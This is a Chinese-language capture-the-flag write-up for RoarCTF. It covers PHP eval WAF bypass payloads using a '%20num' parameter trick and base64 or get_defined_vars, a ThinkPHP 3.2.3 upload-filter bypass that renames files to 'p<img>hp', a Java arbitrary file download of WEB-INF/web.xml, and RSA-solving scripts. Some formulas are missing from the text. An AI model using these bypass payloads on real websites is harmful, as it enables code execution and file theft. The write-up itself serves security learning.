RoarCTF 部分WP
WEB
easy_calc
访问calc.php
不带num
参数的时候就可以得到calc.php
源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
输入?num=phpinfo()
,发现有403
错误。
接下来就是绕WAF
的问题。
参考利用PHP函数parse_str绕过IDS、IPS和WAF,只需要在参数num
前加一个%20
即可,如下
尝试如下:
- 因为不能使用引号和
system
,所以无法直接执行系统命令,如ls
,pwd
等,所以使用?%20num=dirname(__FILE__)
和?%20num=print_r(scandir(dirname(__FILE__)))
读取当前路径和当前目录下的文件 ,一开始我以为flag
在index.html
里,所以想用highlight_file()
去读取文件,但是不能使用引号的情况下,无法读取指定文件。 - 既然
num
参数被加了黑名单过滤,那可不可以在别的地方执行命令?这里参考一叶飘零师傅无参Getshell,里面随便用一个方法都能绕过过滤。我这里使用的是 - 还能通过编码的方式来实现绕过,如使用
eval(base64_decode(cHJpbnRfcihzY2FuZGlyKCcvJykpOzs7))
其中base64
编码过的部分为print_r(scandir('/'));;;
,为什么是三个分号我也没搞懂。。 - 还能使用
a{b}
的方式来替代a['b']
,从而绕过引号过滤,如eval(get_defined_vars(){_GET}{a})&a=print_r(scandir('/'));
,其中{_GET}{a}
和[_GET][a]
一样。
simple_upload
题目如下:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = .substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
已知的是使用了ThinkPHP
的框架,发现以下代码为开发者自己写的过滤,怀疑存在问题
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
该代码将判断文件名是否存在.php
。
打开thinkphp3.2.3
源码中/Library/Think/Upload.class.php
,找到对应的上传文件处理过程代码,如下:
// 对上传文件数组信息处理
$files = $this->dealFiles($files);
foreach ($files as $key => $file) {
$file['name'] = strip_tags($file['name']);
if(!isset($file['key'])) $file['key'] = $key;
/* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
if(isset($finfo)){
$file['type'] = finfo_file ( $finfo , $file['tmp_name'] );
}
可以发现,thinkphp
框架会对filename
进行strip_tags操作
剥去标签,这样的话我们文件后缀只需要在
php
中插入任何HTML标签即可绕过过滤,且可以正常解析。构造一个上传页面
<html>
<body>
<form action="http://cndljjs6roarctf.4hou.com.cn:37326/index.php/home/index/upload" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
上传任意一个php
文件,然后抓包修改后缀为p<img>hp
,上传成功
Easy java
点开help
,发现url
里有个Download?filename=
,怀疑存在任意文件下载
把GET
改成POST
,发现下载成功。
WEB-INF/web.xml
查看目录结构
查阅javaweb
的目录结构,以及得到的servlet-class
值,可以下载到所需要的class
文件
可以发现文件中有着一串base64
编码过的字符串,解码得到flag
Crypto
RSA
题目如下:
A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
p=next_prime(z*x*y)
q=next_prime(z)
A = 2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
n = 117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
c = 41971850275428383625653350824107291609587853887037624239544762751558838294718672159979929266922528917912189124713273673948051464226519605803745171340724343705832198554680196798623263806617998072496026019940476324971696928551159371970207365741517064295956376809297272541800647747885170905737868568000101029143923792003486793278197051326716680212726111099439262589341050943913401067673851885114314709706016622157285023272496793595281054074260451116213815934843317894898883215362289599366101018081513215120728297131352439066930452281829446586562062242527329672575620261776042653626411730955819001674118193293313612128
未知数有三个,包括x
,y
,z
,我们能做的就是通过A
,N
恢复出未知数的值。
先观察A
,可以发现有个迷惑性的运算,**2019
,我们要知道, 即使是,结果也是至少位的十进制数,而A仅仅为607位,因此我们可以知道的值,其实为1。
接下来就是解方程了,我们可以通过化解等式得到,而且很明显,A
的主要是有y**316
组成。这样的话,我们可以通过遍历y
来确定y
的值,然后求得x
。代码如下:
for y in range(1000):
if y**316>A:
y-=1
break
x = (y+1)/(A-1-y**316)
然后是如何根据N
恢复出p
,q
。
我们首先需要知道的是,z*x*y
与z
其实并没有相差太多,所以next_prime(z*x*y)
与next_prime(z)
也不会相差太多。
所以我们可以用求根的方法,然后在根值附件寻找,代码如下:
z = gmpy2.iroot(n/(x*y),2)[0]
q = gmpy2.next_prime(z)
while True:
if n % q == 0:
break
q = gmpy2.next_prime(q)
p = n/q
接下来就是正常的RSA
的过程了,另外,加密密钥e
可以试试几个常用的就能试出来了,总的代码如下
import gmpy2
from libnum import n2s
# A=(((y%x)**5)%(x%y))**2019+y**316+(y+1)/x
# p=next_prime(z*x*y)
# q=next_prime(z)
A = 2683349182678714524247469512793476009861014781004924905484127480308161377768192868061561886577048646432382128960881487463427414176114486885830693959404989743229103516924432512724195654425703453612710310587164417035878308390676612592848750287387318129424195208623440294647817367740878211949147526287091298307480502897462279102572556822231669438279317474828479089719046386411971105448723910594710418093977044179949800373224354729179833393219827789389078869290217569511230868967647963089430594258815146362187250855166897553056073744582946148472068334167445499314471518357535261186318756327890016183228412253724
n = 117930806043507374325982291823027285148807239117987369609583515353889814856088099671454394340816761242974462268435911765045576377767711593100416932019831889059333166946263184861287975722954992219766493089630810876984781113645362450398009234556085330943125568377741065242183073882558834603430862598066786475299918395341014877416901185392905676043795425126968745185649565106322336954427505104906770493155723995382318346714944184577894150229037758434597242564815299174950147754426950251419204917376517360505024549691723683358170823416757973059354784142601436519500811159036795034676360028928301979780528294114933347127
c = 41971850275428383625653350824107291609587853887037624239544762751558838294718672159979929266922528917912189124713273673948051464226519605803745171340724343705832198554680196798623263806617998072496026019940476324971696928551159371970207365741517064295956376809297272541800647747885170905737868568000101029143923792003486793278197051326716680212726111099439262589341050943913401067673851885114314709706016622157285023272496793595281054074260451116213815934843317894898883215362289599366101018081513215120728297131352439066930452281829446586562062242527329672575620261776042653626411730955819001674118193293313612128
for y in range(1000):
if y**316>A:
y-=1
break
x = (y+1)/(A-1-y**316)
z = gmpy2.iroot(n/(x*y),2)[0]
q = gmpy2.next_prime(z)
while True:
if n % q == 0:
break
q = gmpy2.next_prime(q)
p = n/q
d = gmpy2.invert(0x10001,(p-1)*(q-1))
m = pow(c,d,n)
print n2s(m)
babyrsa
import sympy
import random
def myGetPrime():
A= getPrime(513)
print(A)
B=A-random.randint(1e3,1e5)
print(B)
return sympy.nextPrime((B!)%A)
p=myGetPrime()
#A1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
#B1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596
q=myGetPrime()
#A2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
#B2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026
r=myGetPrime()
n=p*q*r
#n=85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
c=pow(flag,e,n)
#e=0x1001
#c=38620963949231568493951852806812359956058522979245676395704780066879051018892175913415575431734194586035432099562300809271498658506900105389975586615280808081596988894713047252672924018208747721253303054480800386069769084714127190055658807083226038640292692679215406182331245636616583141043207599068234065117886147748321058731290102675088056205224134057176167818706519201527516421824645801542347535393294450756726281744763656819345306146716190523210020241675468
#so,what is the flag?
主要的问题就是大数阶乘模运算怎么求
这里用到的是威尔逊定理,当且仅当p为素数时:来减少阶乘模的运算量。
已知
解过程如下
代码如下:
import gmpy2
import libnum
def getpq(A,B):
rand = A - B
b = -1
for i in range(1,rand):
tmp = (b%A)*gmpy2.invert(A-i,A)
b = tmp%A
return gmpy2.next_prime(b)
A1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467234407
B1=21856963452461630437348278434191434000066076750419027493852463513469865262064340836613831066602300959772632397773487317560339056658299954464169264467140596
p = getpq(A1,B1)
A2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858418927
B2=16466113115839228119767887899308820025749260933863446888224167169857612178664139545726340867406790754560227516013796269941438076818194617030304851858351026
q= getpq(A2,B2)
n = 85492663786275292159831603391083876175149354309327673008716627650718160585639723100793347534649628330416631255660901307533909900431413447524262332232659153047067908693481947121069070451562822417357656432171870951184673132554213690123308042697361969986360375060954702920656364144154145812838558365334172935931441424096270206140691814662318562696925767991937369782627908408239087358033165410020690152067715711112732252038588432896758405898709010342467882264362733
r=n/(p*q)
e=0x1001
d = gmpy2.invert(e,(p-1)*(q-1)*(r-1))
c=38620963949231568493951852806812359956058522979245676395704780066879051018892175913415575431734194586035432099562300809271498658506900105389975586615280808081596988894713047252672924018208747721253303054480800386069769084714127190055658807083226038640292692679215406182331245636616583141043207599068234065117886147748321058731290102675088056205224134057176167818706519201527516421824645801542347535393294450756726281744763656819345306146716190523210020241675468
m = pow(c,d,n)
print libnum.n2s(m)